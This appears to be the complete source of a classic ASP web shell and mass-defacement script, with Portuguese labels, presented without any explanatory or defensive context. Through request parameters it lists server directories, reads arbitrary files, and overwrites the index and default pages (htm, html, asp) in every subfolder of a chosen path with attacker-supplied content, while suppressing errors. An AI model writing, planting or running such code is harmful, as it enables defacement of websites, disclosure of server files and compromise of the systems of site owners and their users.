<%
On Error Resume Next
Set Objeto=Server.CreateObject("Scripting.FileSystemObject")
if request("t5") <> "" then
Set ObjPasta = Objeto.GetFolder(request("t5"))
end if
%>
<%On Error Resume Next
if request("t3") <> "" then
Set ObjPasta2 = Objeto.GetFolder(request("t3"))
set ObjFso=server.CreateObject("Scripting.FileSystemObject")
var_caminho=request("t3")
For Each Pasta in ObjPasta2.Subfolders
Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.htm", 2, True, False)
ObjAbreArq.writeline request("t4")
set ObjAbreArq = nothing
Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.html", 2, True, False)
ObjAbreArq.writeline request("t4")
set ObjAbreArq = nothing
Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.asp", 2, True, False)
ObjAbreArq.writeline request("t4")
set ObjAbreArq = nothing
Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.htm", 2, True, False)
ObjAbreArq.writeline request("t4")
set ObjAbreArq = nothing
Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.html", 2, True, False)
ObjAbreArq.writeline request("t4")
set ObjAbreArq = nothing
Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.asp", 2, True, False)
ObjAbreArq.writeline request("t4")
if err then
response.write "
Erro em: " & pasta.name
err=0
else
response.write "
OK em " & pasta.name
end if
set ObjAbreArq = nothing
next
set ObjFso=nothing
Set ObjPasta2 = nothing
set ObjFso = nothing
end if
%>
.
Você está em: <%=server.mappath("ry3.asp")%>
Diretórios Numerados |
Arquivos |
<% On Error Resume Next
dim contador
contador=1
For Each Pasta in ObjPasta.Subfolders
Response.Write Contador & "-) "& Pasta.Name & "
"
contador=contador+1
next%>
|
<%On Error Resume Next
For Each Arquivo in ObjPasta.Files
Response.Write Arquivo.Name & "
"
Next%>
|
<%On Error Resume Next
if request("tt") <> "" then
var_caminho=request("tt")
set ObjFso2=server.CreateObject("Scripting.FileSystemObject")
Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False)
Do While Not ObjAbreArq2.AtEndOfStream
Linha = Linha & ObjAbreArq2.Readline & chr(13)
Loop
response.write ""
ObjAbreArq2.Close
Set ObjAbreArq2 = Nothing
ObjFso2.close
set ObjFso2 = Nothig
end if%>
<%set ObjPasta = nothing
set Objeto = nothing%>